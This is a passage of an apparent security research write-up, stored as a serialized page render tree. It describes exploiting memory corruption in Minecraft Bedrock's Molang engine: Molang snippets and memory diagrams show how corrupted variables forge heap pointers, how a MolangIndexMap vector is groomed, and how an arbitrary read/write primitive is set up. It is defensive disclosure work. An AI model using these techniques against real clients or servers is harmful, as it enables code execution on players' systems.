erased.",{"type":21,"tag":22,"props":154350,"children":154351},{},[154352],{"type":26,"value":154353},"Because of these issues, this idea alone wouldn’t work. We needed to either adjust our approach or come up with an entirely new one.",{"type":21,"tag":19318,"props":154355,"children":154357},{"id":154356},"expanding-the-idea",[154358],{"type":26,"value":154359},"Expanding the Idea",{"type":21,"tag":22,"props":154361,"children":154362},{},[154363,154365,154370,154372,154377,154378,154383,154385,154390],{"type":26,"value":154364},"As mentioned earlier, the ",{"type":21,"tag":66,"props":154366,"children":154368},{"className":154367},[],[154369],{"type":26,"value":33202},{"type":26,"value":154371}," field of ",{"type":21,"tag":66,"props":154373,"children":154375},{"className":154374},[],[154376],{"type":26,"value":153282},{"type":26,"value":15863},{"type":21,"tag":66,"props":154379,"children":154381},{"className":154380},[],[154382],{"type":26,"value":58390},{"type":26,"value":154384},". During assignment, the upper 32 bits are not touched and therefore remain uninitialized. This can be observed in the debugger screenshot above - the 32 bits directly below the ",{"type":21,"tag":66,"props":154386,"children":154388},{"className":154387},[],[154389],{"type":26,"value":39600},{"type":26,"value":154391}," field remain unchanged before and after Molang execution.",{"type":21,"tag":22,"props":154393,"children":154394},{},[154395,154397,154402],{"type":26,"value":154396},"Because of this, we thought that we could corrupt two variables instead of just one. The plan was to modify the lower 32 bits of a variable pointer using one corrupted variable, and then restore the upper 32 bits with another corrupted variable pointing to the ",{"type":21,"tag":66,"props":154398,"children":154400},{"className":154399},[],[154401],{"type":26,"value":153390},{"type":26,"value":154403},"’s allocated buffer + 4.",{"type":21,"tag":22,"props":154405,"children":154406},{},[154407,154409,154414,154416,154421,154423,154428,154429,154435],{"type":26,"value":154408},"In the example below, ",{"type":21,"tag":66,"props":154410,"children":154412},{"className":154411},[],[154413],{"type":26,"value":153816},{"type":26,"value":154415}," points to ",{"type":21,"tag":66,"props":154417,"children":154419},{"className":154418},[],[154420],{"type":26,"value":153390},{"type":26,"value":154422},", while ",{"type":21,"tag":66,"props":154424,"children":154426},{"className":154425},[],[154427],{"type":26,"value":153830},{"type":26,"value":154415},{"type":21,"tag":66,"props":154430,"children":154432},{"className":154431},[],[154433],{"type":26,"value":154434},"MolangVariableMap + 4",{"type":26,"value":172},{"type":21,"tag":75,"props":154437,"children":154439},{"code":154438},"                         variable.f pointer     \n                                 |              \n                   +-------------+-------------+\n                   v                           v\n                                                \n                   +-------------+-------------+\n                   | a0 bb cc dd | 80 1c 00 00 |\n                   +-------------+-------------+\n                    ^             ^             \n+-------------+     |             |             \n| variable.a  +-----+             |             \n+-------------+                   |             \n| variable.b  +-------------------+                                     \n+-------------+                                 \n|    . . .    |                                 \n",[154440],{"type":21,"tag":66,"props":154441,"children":154442},{"__ignoreMap":7},[154443],{"type":26,"value":154438},{"type":21,"tag":22,"props":154445,"children":154446},{},[154447,154449,154454,154455,154460,154462,154467,154469,154474,154476,154481],{"type":26,"value":154448},"Here, the ",{"type":21,"tag":66,"props":154450,"children":154452},{"className":154451},[],[154453],{"type":26,"value":39600},{"type":26,"value":154371},{"type":21,"tag":66,"props":154456,"children":154458},{"className":154457},[],[154459],{"type":26,"value":153816},{"type":26,"value":154461}," starts at the lower 32 bits of the ",{"type":21,"tag":66,"props":154463,"children":154465},{"className":154464},[],[154466],{"type":26,"value":153886},{"type":26,"value":154468}," pointer, while ",{"type":21,"tag":66,"props":154470,"children":154472},{"className":154471},[],[154473],{"type":26,"value":153830},{"type":26,"value":154475}," starts at the upper 32 bits. This means we can store the upper 32 bits of the ",{"type":21,"tag":66,"props":154477,"children":154479},{"className":154478},[],[154480],{"type":26,"value":153886},{"type":26,"value":154482}," pointer in a separate variable:",{"type":21,"tag":75,"props":154484,"children":154486},{"code":154485},"variable.saved_upper_32 = variable.b;\n",[154487],{"type":21,"tag":66,"props":154488,"children":154489},{"__ignoreMap":7},[154490],{"type":26,"value":154485},{"type":21,"tag":22,"props":154492,"children":154493},{},[154494],{"type":26,"value":154495},"Then we can modify the lower 32 bits of the pointer:",{"type":21,"tag":75,"props":154497,"children":154499},{"code":154498},"variable.a = variable.a + itof(0x8);\n",[154500],{"type":21,"tag":66,"props":154501,"children":154502},{"__ignoreMap":7},[154503],{"type":26,"value":154498},{"type":21,"tag":22,"props":154505,"children":154506},{},[154507],{"type":26,"value":154508},"After this operation, the upper 32 bits are cleared while the lower bits are adjusted:",{"type":21,"tag":75,"props":154510,"children":154512},{"code":154511},"                   +-------------+-------------+\n                   | a8 bb cc dd | 00 00 00 00 |\n                   +-------------+-------------+\n                    ^             ^             \n+-------------+     |             |             \n| variable.a  +-----+             |             \n+-------------+                   |             \n| variable.b  +-------------------+                                     \n+-------------+                                 \n|    . . .    |                                 \n",[154513],{"type":21,"tag":66,"props":154514,"children":154515},{"__ignoreMap":7},[154516],{"type":26,"value":154511},{"type":21,"tag":22,"props":154518,"children":154519},{},[154520,154522,154527],{"type":26,"value":154521},"Since the 32 bits directly below the ",{"type":21,"tag":66,"props":154523,"children":154525},{"className":154524},[],[154526],{"type":26,"value":39600},{"type":26,"value":154528}," field remain untouched during assignment, we can simply restore the upper bits:",{"type":21,"tag":75,"props":154530,"children":154532},{"code":154531},"variable.b = variable.saved_upper_32;\n",[154533],{"type":21,"tag":66,"props":154534,"children":154535},{"__ignoreMap":7},[154536],{"type":26,"value":154531},{"type":21,"tag":22,"props":154538,"children":154539},{},[154540,154542,154547],{"type":26,"value":154541},"Now ",{"type":21,"tag":66,"props":154543,"children":154545},{"className":154544},[],[154546],{"type":26,"value":153886},{"type":26,"value":154548}," pointer is restored and we've incremented it by 8, achieving the desired state:",{"type":21,"tag":75,"props":154550,"children":154552},{"code":154551},"                   +-------------+-------------+\n                   | a8 bb cc dd | 80 1c 00 00 |\n                   +-------------+-------------+\n                    ^             ^             \n+-------------+     |             |             \n| variable.a  +-----+             |             \n+-------------+                   |             \n| variable.b  +-------------------+                                    \n+-------------+                                 \n|    . . .    |                                 \n",[154553],{"type":21,"tag":66,"props":154554,"children":154555},{"__ignoreMap":7},[154556],{"type":26,"value":154551},{"type":21,"tag":22,"props":154558,"children":154559},{},[154560,154562,154567],{"type":26,"value":154561},"This bypasses the issue of the upper 32 bits being cleared, but raises another question: how do we find a pointer to ",{"type":21,"tag":66,"props":154563,"children":154565},{"className":154564},[],[154566],{"type":26,"value":154434},{"type":26,"value":154568}," on the heap?",{"type":21,"tag":22,"props":154570,"children":154571},{},[154572,154574,154579,154581,154587],{"type":26,"value":154573},"Additionally, adding 8 to ",{"type":21,"tag":66,"props":154575,"children":154577},{"className":154576},[],[154578],{"type":26,"value":153816},{"type":26,"value":154580}," in the example above wouldn’t work because ",{"type":21,"tag":66,"props":154582,"children":154584},{"className":154583},[],[154585],{"type":26,"value":154586},"0xddccbba0",{"type":26,"value":154588}," is not a valid float. So the first issue still remains unresolved.",{"type":21,"tag":19318,"props":154590,"children":154592},{"id":154591},"the-final-approach",[154593],{"type":26,"value":154594},"The Final Approach",{"type":21,"tag":22,"props":154596,"children":154597},{},[154598,154600,154605,154607,154613],{"type":26,"value":154599},"We realized that instead of having the second pointer at ",{"type":21,"tag":66,"props":154601,"children":154603},{"className":154602},[],[154604],{"type":26,"value":154434},{"type":26,"value":154606},", we could instead have it at ",{"type":21,"tag":66,"props":154608,"children":154610},{"className":154609},[],[154611],{"type":26,"value":154612},"MolangVariableMap + 2",{"type":26,"value":154614},", which would resolve both of our issues.",{"type":21,"tag":22,"props":154616,"children":154617},{},[154618,154620,154625,154626,154631],{"type":26,"value":154619},"Let’s revisit the previous example, but this time ",{"type":21,"tag":66,"props":154621,"children":154623},{"className":154622},[],[154624],{"type":26,"value":153830},{"type":26,"value":154415},{"type":21,"tag":66,"props":154627,"children":154629},{"className":154628},[],[154630],{"type":26,"value":154612},{"type":26,"value":172},{"type":21,"tag":75,"props":154633,"children":154635},{"code":154634},"                   +-------------+-------------+\n                   | a0 bb cc dd | 80 1c 00 00 |\n                   +-------------+-------------+\n                    ^     ^                     \n+-------------+     |     |                     \n| variable.a  +-----+     |                     \n+-------------+           |                     \n| variable.b  +-----------+                                             \n+-------------+                                 \n|    . . .    |                                 \n",[154636],{"type":21,"tag":66,"props":154637,"children":154638},{"__ignoreMap":7},[154639],{"type":26,"value":154634},{"type":21,"tag":22,"props":154641,"children":154642},{},[154643,154645,154650],{"type":26,"value":154644},"With this setup, we can calculate any address relative to ",{"type":21,"tag":66,"props":154646,"children":154648},{"className":154647},[],[154649],{"type":26,"value":153886},{"type":26,"value":154651}," by first saving the upper 48 bits of the address:",{"type":21,"tag":75,"props":154653,"children":154655},{"code":154654},"variable.saved_upper_48 = variable.b;\n",[154656],{"type":21,"tag":66,"props":154657,"children":154658},{"__ignoreMap":7},[154659],{"type":26,"value":154654},{"type":21,"tag":22,"props":154661,"children":154662},{},[154663,154664,154670,154672,154678],{"type":26,"value":130292},{"type":21,"tag":66,"props":154665,"children":154667},{"className":154666},[],[154668],{"type":26,"value":154669},"variable.saved_upper_48",{"type":26,"value":154671}," holds the value ",{"type":21,"tag":66,"props":154673,"children":154675},{"className":154674},[],[154676],{"type":26,"value":154677},"0x1c80ddcc",{"type":26,"value":73},{"type":21,"tag":22,"props":154680,"children":154681},{},[154682],{"type":26,"value":154683},"To fix our earlier problem of being unable to increment invalid float values, we can simply clear the upper 48 bits:",{"type":21,"tag":75,"props":154685,"children":154687},{"code":154686},"variable.b = 0;\n",[154688],{"type":21,"tag":66,"props":154689,"children":154690},{"__ignoreMap":7},[154691],{"type":26,"value":154686},{"type":21,"tag":22,"props":154693,"children":154694},{},[154695],{"type":26,"value":154696},"Resulting in the following state:",{"type":21,"tag":75,"props":154698,"children":154700},{"code":154699},"                   +-------------+-------------+\n                   | a0 bb 00 00 | 00 00 00 00 |\n                   +-------------+-------------+\n                    ^     ^                     \n+-------------+     |     |                     \n| variable.a  +-----+     |                     \n+-------------+           |                     \n| variable.b  +-----------+                                            \n+-------------+                                 \n|    . . .    |                                 \n",[154701],{"type":21,"tag":66,"props":154702,"children":154703},{"__ignoreMap":7},[154704],{"type":26,"value":154699},{"type":21,"tag":22,"props":154706,"children":154707},{},[154708,154710,154715,154717,154723,154725,154730],{"type":26,"value":154709},"Now, the value of ",{"type":21,"tag":66,"props":154711,"children":154713},{"className":154712},[],[154714],{"type":26,"value":153816},{"type":26,"value":154716}," only spans 16 bits (",{"type":21,"tag":66,"props":154718,"children":154720},{"className":154719},[],[154721],{"type":26,"value":154722},"0xbba0",{"type":26,"value":154724}," specifically), which is always a valid float since it’s far below ",{"type":21,"tag":66,"props":154726,"children":154728},{"className":154727},[],[154729],{"type":26,"value":154314},{"type":26,"value":73},{"type":21,"tag":22,"props":154732,"children":154733},{},[154734,154736,154741],{"type":26,"value":154735},"We can now safely adjust the lower 16 bits of the pointer by incrementing ",{"type":21,"tag":66,"props":154737,"children":154739},{"className":154738},[],[154740],{"type":26,"value":153816},{"type":26,"value":172},{"type":21,"tag":75,"props":154743,"children":154744},{"code":154498},[154745],{"type":21,"tag":66,"props":154746,"children":154747},{"__ignoreMap":7},[154748],{"type":26,"value":154498},{"type":21,"tag":22,"props":154750,"children":154751},{},[154752],{"type":26,"value":154753},"Which results in:",{"type":21,"tag":75,"props":154755,"children":154757},{"code":154756},"                   +-------------+-------------+\n                   | a8 bb 00 00 | 00 00 00 00 |\n                   +-------------+-------------+\n                    ^     ^                     \n+-------------+     |     |                     \n| variable.a  +-----+     |                     \n+-------------+           |                     \n| variable.b  +-----------+                                            \n+-------------+                                 \n|    . . .    |                                 \n",[154758],{"type":21,"tag":66,"props":154759,"children":154760},{"__ignoreMap":7},[154761],{"type":26,"value":154756},{"type":21,"tag":22,"props":154763,"children":154764},{},[154765],{"type":26,"value":154766},"If we only wanted to increment the pointer by 8, we could finish by restoring the upper 48 bits:",{"type":21,"tag":75,"props":154768,"children":154770},{"code":154769},"variable.b = variable.saved_upper_48;\n",[154771],{"type":21,"tag":66,"props":154772,"children":154773},{"__ignoreMap":7},[154774],{"type":26,"value":154769},{"type":21,"tag":22,"props":154776,"children":154777},{},[154778],{"type":26,"value":154779},"Yielding a valid pointer again:",{"type":21,"tag":75,"props":154781,"children":154783},{"code":154782},"                   +-------------+-------------+\n                   | a8 bb cc dd | 80 1c 00 00 |\n                   +-------------+-------------+\n                    ^     ^                     \n+-------------+     |     |                     \n| variable.a  +-----+     |                     \n+-------------+           |                     \n| variable.b  +-----------+                                             \n+-------------+                                 \n|    . . .    |                                 \n",[154784],{"type":21,"tag":66,"props":154785,"children":154786},{"__ignoreMap":7},[154787],{"type":26,"value":154782},{"type":21,"tag":22,"props":154789,"children":154790},{},[154791],{"type":26,"value":154792},"However, if we wanted to increment the pointer by a value larger than 16 bits can represent, we would continue by first saving the adjusted lower 16 bits:",{"type":21,"tag":75,"props":154794,"children":154796},{"code":154795},"variable.saved_adjusted_lower_16 = variable.a;\n",[154797],{"type":21,"tag":66,"props":154798,"children":154799},{"__ignoreMap":7},[154800],{"type":26,"value":154795},{"type":21,"tag":22,"props":154802,"children":154803},{},[154804],{"type":26,"value":154805},"Next, we need to extract the middle and upper 16 bits of the address. We start by restoring the previously saved upper 48 bits:",{"type":21,"tag":75,"props":154807,"children":154809},{"code":154808},"variable.a = variable.saved_upper_48;\n",[154810],{"type":21,"tag":66,"props":154811,"children":154812},{"__ignoreMap":7},[154813],{"type":26,"value":154808},{"type":21,"tag":22,"props":154815,"children":154816},{},[154817],{"type":26,"value":154818},"This produces the following state:",{"type":21,"tag":75,"props":154820,"children":154822},{"code":154821},"                   +-------------+-------------+\n                   | cc dd 80 1c | 00 00 00 00 |\n                   +-------------+-------------+\n                    ^     ^                     \n+-------------+     |     |                     \n| variable.a  +-----+     |                     \n+-------------+           |                     \n| variable.b  +-----------+                     \n+-------------+                                 \n|    . . .    |                                 \n",[154823],{"type":21,"tag":66,"props":154824,"children":154825},{"__ignoreMap":7},[154826],{"type":26,"value":154821},{"type":21,"tag":22,"props":154828,"children":154829},{},[154830,154832,154837,154839,154845,154847,154853,154855,154860,154862,154867],{"type":26,"value":154831},"As shown, ",{"type":21,"tag":66,"props":154833,"children":154835},{"className":154834},[],[154836],{"type":26,"value":153830},{"type":26,"value":154838}," now contains the upper 16 bits of the address (",{"type":21,"tag":66,"props":154840,"children":154842},{"className":154841},[],[154843],{"type":26,"value":154844},"0x1c80",{"type":26,"value":154846},"), which we can store as ",{"type":21,"tag":66,"props":154848,"children":154850},{"className":154849},[],[154851],{"type":26,"value":154852},"variable.saved_upper_16 = variable.b",{"type":26,"value":154854},". Meanwhile, ",{"type":21,"tag":66,"props":154856,"children":154858},{"className":154857},[],[154859],{"type":26,"value":153816},{"type":26,"value":154861}," contains both the middle and upper 16 bits. To isolate the middle bits, we simply clear ",{"type":21,"tag":66,"props":154863,"children":154865},{"className":154864},[],[154866],{"type":26,"value":153830},{"type":26,"value":172},{"type":21,"tag":75,"props":154869,"children":154870},{"code":154686},[154871],{"type":21,"tag":66,"props":154872,"children":154873},{"__ignoreMap":7},[154874],{"type":26,"value":154686},{"type":21,"tag":22,"props":154876,"children":154877},{},[154878],{"type":26,"value":154879},"Leaving us with:",{"type":21,"tag":75,"props":154881,"children":154883},{"code":154882},"                   +-------------+-------------+\n                   | cc dd 00 00 | 00 00 00 00 |\n                   +-------------+-------------+\n                    ^     ^                     \n+-------------+     |     |                     \n| variable.a  +-----+     |                     \n+-------------+           |                     \n| variable.b  +-----------+                     \n+-------------+                                 \n|    . . .    |                                 \n",[154884],{"type":21,"tag":66,"props":154885,"children":154886},{"__ignoreMap":7},[154887],{"type":26,"value":154882},{"type":21,"tag":22,"props":154889,"children":154890},{},[154891],{"type":26,"value":154892},"We can now save the middle 16 bits:",{"type":21,"tag":75,"props":154894,"children":154896},{"code":154895},"variable.saved_middle_16 = variable.a;\n",[154897],{"type":21,"tag":66,"props":154898,"children":154899},{"__ignoreMap":7},[154900],{"type":26,"value":154895},{"type":21,"tag":22,"props":154902,"children":154903},{},[154904],{"type":26,"value":154905},"At this point, we have:",{"type":21,"tag":75,"props":154907,"children":154909},{"code":154908},"variable.saved_adjusted_lower_16 = 0xbba8\nvariable.saved_middle_16 = 0xddcc\nvariable.saved_upper_16 = 0x1c80\n",[154910],{"type":21,"tag":66,"props":154911,"children":154912},{"__ignoreMap":7},[154913],{"type":26,"value":154908},{"type":21,"tag":22,"props":154915,"children":154916},{},[154917],{"type":26,"value":154918},"All three parts are valid float values, ensuring deterministic calculations.",{"type":21,"tag":22,"props":154920,"children":154921},{},[154922],{"type":26,"value":154923},"If we needed to increment the pointer by more than the maximum 16-bit value, we would simply increment the middle and upper parts accordingly:",{"type":21,"tag":75,"props":154925,"children":154927},{"code":154926},"variable.saved_adjusted_middle_16 = variable.saved_middle_16 + itof(0x1);\nvariable.saved_adjusted_upper_16 = variable.saved_upper_16 + itof(0x1);\n",[154928],{"type":21,"tag":66,"props":154929,"children":154930},{"__ignoreMap":7},[154931],{"type":26,"value":154926},{"type":21,"tag":22,"props":154933,"children":154934},{},[154935],{"type":26,"value":154936},"After modifying the three 16-bit parts, we can reconstruct the full pointer by reversing the extraction process. We start by forging the upper 48 bits:",{"type":21,"tag":75,"props":154938,"children":154940},{"code":154939},"variable.a = variable.saved_adjusted_middle_16;\n",[154941],{"type":21,"tag":66,"props":154942,"children":154943},{"__ignoreMap":7},[154944],{"type":26,"value":154939},{"type":21,"tag":22,"props":154946,"children":154947},{},[154948,154950,154955,154956,154962,154963,154969],{"type":26,"value":154949},"Setting ",{"type":21,"tag":66,"props":154951,"children":154953},{"className":154952},[],[154954],{"type":26,"value":153816},{"type":26,"value":57233},{"type":21,"tag":66,"props":154957,"children":154959},{"className":154958},[],[154960],{"type":26,"value":154961},"0xddcd",{"type":26,"value":717},{"type":21,"tag":66,"props":154964,"children":154966},{"className":154965},[],[154967],{"type":26,"value":154968},"0xddcc + 1",{"type":26,"value":154970},"), and then:",{"type":21,"tag":75,"props":154972,"children":154974},{"code":154973},"variable.b = variable.saved_adjusted_upper_16;\n",[154975],{"type":21,"tag":66,"props":154976,"children":154977},{"__ignoreMap":7},[154978],{"type":26,"value":154973},{"type":21,"tag":22,"props":154980,"children":154981},{},[154982,154984,154989,154991,154997,154998,155004],{"type":26,"value":154983},"Resulting in ",{"type":21,"tag":66,"props":154985,"children":154987},{"className":154986},[],[154988],{"type":26,"value":153830},{"type":26,"value":154990}," value becoming ",{"type":21,"tag":66,"props":154992,"children":154994},{"className":154993},[],[154995],{"type":26,"value":154996},"0x1c81",{"type":26,"value":717},{"type":21,"tag":66,"props":154999,"children":155001},{"className":155000},[],[155002],{"type":26,"value":155003},"0x1c80 + 1",{"type":26,"value":24386},{"type":21,"tag":75,"props":155006,"children":155008},{"code":155007},"                   +-------------+-------------+\n                   | cd dd 81 1c | 00 00 00 00 |\n                   +-------------+-------------+\n                    ^     ^                     \n+-------------+     |     |                     \n| variable.a  +-----+     |                     \n+-------------+           |                     \n| variable.b  +-----------+                     \n+-------------+                                 \n|    . . .    | \n",[155009],{"type":21,"tag":66,"props":155010,"children":155011},{"__ignoreMap":7},[155012],{"type":26,"value":155007},{"type":21,"tag":22,"props":155014,"children":155015},{},[155016],{"type":26,"value":155017},"Now we save the adjusted upper 48 bits:",{"type":21,"tag":75,"props":155019,"children":155021},{"code":155020},"variable.saved_adjusted_upper_48 = variable.a;\n",[155022],{"type":21,"tag":66,"props":155023,"children":155024},{"__ignoreMap":7},[155025],{"type":26,"value":155020},{"type":21,"tag":22,"props":155027,"children":155028},{},[155029],{"type":26,"value":155030},"Finally, we attach the lower 16 bits:",{"type":21,"tag":75,"props":155032,"children":155034},{"code":155033},"variable.a = variable.saved_adjusted_lower_16;\n",[155035],{"type":21,"tag":66,"props":155036,"children":155037},{"__ignoreMap":7},[155038],{"type":26,"value":155033},{"type":21,"tag":75,"props":155040,"children":155042},{"code":155041},"                   +-------------+-------------+\n                   | a8 bb 00 00 | 00 00 00 00 |\n                   +-------------+-------------+\n                    ^     ^                     \n+-------------+     |     |                     \n| variable.a  +-----+     |                     \n+-------------+           |                     \n| variable.b  +-----------+                     \n+-------------+                                 \n|    . . .    | \n",[155043],{"type":21,"tag":66,"props":155044,"children":155045},{"__ignoreMap":7},[155046],{"type":26,"value":155041},{"type":21,"tag":22,"props":155048,"children":155049},{},[155050],{"type":26,"value":155051},"And by setting:",{"type":21,"tag":75,"props":155053,"children":155055},{"code":155054},"variable.b = variable.saved_adjusted_upper_48;\n",[155056],{"type":21,"tag":66,"props":155057,"children":155058},{"__ignoreMap":7},[155059],{"type":26,"value":155054},{"type":21,"tag":22,"props":155061,"children":155062},{},[155063],{"type":26,"value":155064},"We forge the final adjusted pointer:",{"type":21,"tag":75,"props":155066,"children":155068},{"code":155067},"                   +-------------+-------------+\n                   | a8 bb cd dd | 81 1c 00 00 |\n                   +-------------+-------------+\n                    ^     ^                     \n+-------------+     |     |                     \n| variable.a  +-----+     |                     \n+-------------+           |                     \n| variable.b  +-----------+                     \n+-------------+                                 \n|    . . .    | \n",[155069],{"type":21,"tag":66,"props":155070,"children":155071},{"__ignoreMap":7},[155072],{"type":26,"value":155067},{"type":21,"tag":19218,"props":155074,"children":155075},{},[],{"type":21,"tag":22,"props":155077,"children":155078},{},[155079,155081,155086],{"type":26,"value":155080},"With this, we now have a method to calculate any pointer we want. However, the previous question still remains: how do we find a pointer to ",{"type":21,"tag":66,"props":155082,"children":155084},{"className":155083},[],[155085],{"type":26,"value":154612},{"type":26,"value":154568},{"type":21,"tag":22,"props":155088,"children":155089},{},[155090,155092,155097,155099,155104,155106,155112,155114,155119],{"type":26,"value":155091},"Eventually, we realized that we don’t necessarily need a pointer to ",{"type":21,"tag":66,"props":155093,"children":155095},{"className":155094},[],[155096],{"type":26,"value":154612},{"type":26,"value":155098},". Instead, we need any two pointers on the heap - one pointing to ",{"type":21,"tag":66,"props":155100,"children":155102},{"className":155101},[],[155103],{"type":26,"value":31131},{"type":26,"value":155105}," and the other to ",{"type":21,"tag":66,"props":155107,"children":155109},{"className":155108},[],[155110],{"type":26,"value":155111},"addr + 2",{"type":26,"value":155113}," (as long as ",{"type":21,"tag":66,"props":155115,"children":155117},{"className":155116},[],[155118],{"type":26,"value":31131},{"type":26,"value":155120}," lies within a writable region). The idea is to use these two pointers as a workspace where we can split, manipulate, and reconstruct a pointer.",{"type":21,"tag":22,"props":155122,"children":155123},{},[155124,155126,155131,155132,155137],{"type":26,"value":155125},"In this case, we need to corrupt an index of an additional (third) variable and make it index the ",{"type":21,"tag":66,"props":155127,"children":155129},{"className":155128},[],[155130],{"type":26,"value":150586},{"type":26,"value":154371},{"type":21,"tag":66,"props":155133,"children":155135},{"className":155134},[],[155136],{"type":26,"value":153390},{"type":26,"value":155138}," - once the new pointer is forged we can use this variable to assign it the forged pointer:",{"type":21,"tag":75,"props":155140,"children":155142},{"code":155141},"variable.corrupted_var_map_ptr = variable.a;\n",[155143],{"type":21,"tag":66,"props":155144,"children":155145},{"__ignoreMap":7},[155146],{"type":26,"value":155141},{"type":21,"tag":22,"props":155148,"children":155149},{},[155150,155152,155157,155159,155165],{"type":26,"value":155151},"As mentioned earlier, this operation copies the entire 64-bit ",{"type":21,"tag":66,"props":155153,"children":155155},{"className":155154},[],[155156],{"type":26,"value":39600},{"type":26,"value":155158}," field (in this case, the reconstructed pointer) and writes it to ",{"type":21,"tag":66,"props":155160,"children":155162},{"className":155161},[],[155163],{"type":26,"value":155164},"variable.corrupted_var_map_ptr",{"type":26,"value":155166},", even though the type itself is only a 32-bit float.",{"type":21,"tag":19318,"props":155168,"children":155170},{"id":155169},"finding-misaligned-pointers",[155171],{"type":26,"value":155172},"Finding Misaligned Pointers",{"type":21,"tag":22,"props":155174,"children":155175},{},[155176,155178,155183,155184,155190],{"type":26,"value":155177},"This step requires a heap-sprayable structure that contains two pointers separated by two bytes (",{"type":21,"tag":66,"props":155179,"children":155181},{"className":155180},[],[155182],{"type":26,"value":14367},{"type":26,"value":11408},{"type":21,"tag":66,"props":155185,"children":155187},{"className":155186},[],[155188],{"type":26,"value":155189},"ptr + 2",{"type":26,"value":155191},"). Fortunately, we didn’t have to look far as we were already familiar with a suitable structure.",{"type":21,"tag":22,"props":155193,"children":155194},{},[155195,155200,155201,155206,155208,155213,155215,155220,155222,155227,155229,155234,155236,155242,155243,155248],{"type":21,"tag":66,"props":155196,"children":155198},{"className":155197},[],[155199],{"type":26,"value":153566},{"type":26,"value":15863},{"type":21,"tag":66,"props":155202,"children":155204},{"className":155203},[],[155205],{"type":26,"value":153589},{"type":26,"value":155207}," found inside every entity object. As noted earlier, a ",{"type":21,"tag":66,"props":155209,"children":155211},{"className":155210},[],[155212],{"type":26,"value":153420},{"type":26,"value":155214}," contains three pointers: ",{"type":21,"tag":66,"props":155216,"children":155218},{"className":155217},[],[155219],{"type":26,"value":150586},{"type":26,"value":155221}," (the start of the allocated buffer), ",{"type":21,"tag":66,"props":155223,"children":155225},{"className":155224},[],[155226],{"type":26,"value":3520},{"type":26,"value":155228}," (just past the last element) and ",{"type":21,"tag":66,"props":155230,"children":155232},{"className":155231},[],[155233],{"type":26,"value":153519},{"type":26,"value":155235}," (the end of the allocated buffer). Because the element type is ",{"type":21,"tag":66,"props":155237,"children":155239},{"className":155238},[],[155240],{"type":26,"value":155241},"uint16_t",{"type":26,"value":102759},{"type":21,"tag":66,"props":155244,"children":155246},{"className":155245},[],[155247],{"type":26,"value":3520},{"type":26,"value":155249}," pointer advances by 2 bytes each time a new element is added.",{"type":21,"tag":22,"props":155251,"children":155252},{},[155253,155255,155260,155262,155268],{"type":26,"value":155254},"We can make the ",{"type":21,"tag":66,"props":155256,"children":155258},{"className":155257},[],[155259],{"type":26,"value":3520},{"type":26,"value":155261}," pointer equal to ",{"type":21,"tag":66,"props":155263,"children":155265},{"className":155264},[],[155266],{"type":26,"value":155267},"cap - 2",{"type":26,"value":155269}," by adding elements until the vector is one element short of full. In practice this is done by filling the entity with previously unseen variables.",{"type":21,"tag":75,"props":155271,"children":155273},{"code":155272},"                         +-> +---------------+\n                         |   |               |\n                         |   |     . . .     |\n                         |   |               |\n                         |   +-------+-------+\n                         |   | 00 f0 | 00 f1 |\n                         |   +-------+-------+\n                         |   | 00 f2 | 00 f3 |\n                         |   +-------+-------+\n  std::vector\u003Cuint16_t>  |   | 00 f4 | 00 f5 |\n     MolangIndexMap      |   +-------+-------+\n    +----------------+   |   | 00 f6 | 00 00 |\nbuf | 0x1c54f7a13200 | --+   +-------+-------+\n    +----------------+               ^       ^\nlen | 0x1c54f7a13306 | --------------+       |\n    +----------------+                       |\ncap | 0x1c54f7a13308 | ----------------------+\n    +----------------+                        \n",[155274],{"type":21,"tag":66,"props":155275,"children":155276},{"__ignoreMap":7},[155277],{"type":26,"value":155272},{"type":21,"tag":19218,"props":155279,"children":155280},{},[],{"type":21,"tag":22,"props":155282,"children":155283},{},[155284,155286,155291,155293,155298,155300,155305,155307,155312,155313,155318],{"type":26,"value":155285},"To summarize - the final setup will require overwriting indices of three variables: one that would index the ",{"type":21,"tag":66,"props":155287,"children":155289},{"className":155288},[],[155290],{"type":26,"value":150586},{"type":26,"value":155292}," pointer of ",{"type":21,"tag":66,"props":155294,"children":155296},{"className":155295},[],[155297],{"type":26,"value":153390},{"type":26,"value":155299}," in the entity object above, one that would index ",{"type":21,"tag":66,"props":155301,"children":155303},{"className":155302},[],[155304],{"type":26,"value":3520},{"type":26,"value":155306}," and the final ",{"type":21,"tag":66,"props":155308,"children":155310},{"className":155309},[],[155311],{"type":26,"value":153519},{"type":26,"value":155292},{"type":21,"tag":66,"props":155314,"children":155316},{"className":155315},[],[155317],{"type":26,"value":153566},{"type":26,"value":155319}," also in the same entity object above.",{"type":21,"tag":22,"props":155321,"children":155322},{},[155323,155325,155331,155332,155338,155340,155345,155346,155351,155353,155358,155360,155365,155366,155371,155373,155378],{"type":26,"value":155324},"The corrupted variables ",{"type":21,"tag":66,"props":155326,"children":155328},{"className":155327},[],[155329],{"type":26,"value":155330},"variable.corrupted_len_ptr",{"type":26,"value":11408},{"type":21,"tag":66,"props":155333,"children":155335},{"className":155334},[],[155336],{"type":26,"value":155337},"variable.corrupted_cap_ptr",{"type":26,"value":155339}," point to ",{"type":21,"tag":66,"props":155341,"children":155343},{"className":155342},[],[155344],{"type":26,"value":3520},{"type":26,"value":11408},{"type":21,"tag":66,"props":155347,"children":155349},{"className":155348},[],[155350],{"type":26,"value":153519},{"type":26,"value":155352},", respectively - they are two bytes apart. With these two we can compute arbitrary pointers using the method previously described. The third corrupted variable, ",{"type":21,"tag":66,"props":155354,"children":155356},{"className":155355},[],[155357],{"type":26,"value":155164},{"type":26,"value":155359},", points to the ",{"type":21,"tag":66,"props":155361,"children":155363},{"className":155362},[],[155364],{"type":26,"value":150586},{"type":26,"value":154371},{"type":21,"tag":66,"props":155367,"children":155369},{"className":155368},[],[155370],{"type":26,"value":153390},{"type":26,"value":155372},"; it is used to copy the calculated pointer into the allocated buffer of ",{"type":21,"tag":66,"props":155374,"children":155376},{"className":155375},[],[155377],{"type":26,"value":153390},{"type":26,"value":155379},", which in turn lets us overwrite a pointer of a different (fourth) variable. That fourth corrupted variable is what we ultimately use for arbitrary read/write.",{"type":21,"tag":22,"props":155381,"children":155382},{},[155383],{"type":26,"value":155384},"Before we can do any arbitrary memory operations, however, we need a leak - ideally the address of any Minecraft executable region - that lets us perform arbitrary reads and writes into the target memory region.",{"type":21,"tag":19318,"props":155386,"children":155388},{"id":155387},"leaking-pointers",[155389],{"type":26,"value":155390},"Leaking Pointers",{"type":21,"tag":22,"props":155392,"children":155393},{},[155394,155396,155402],{"type":26,"value":155395},"In C++, an object’s first field is typically a 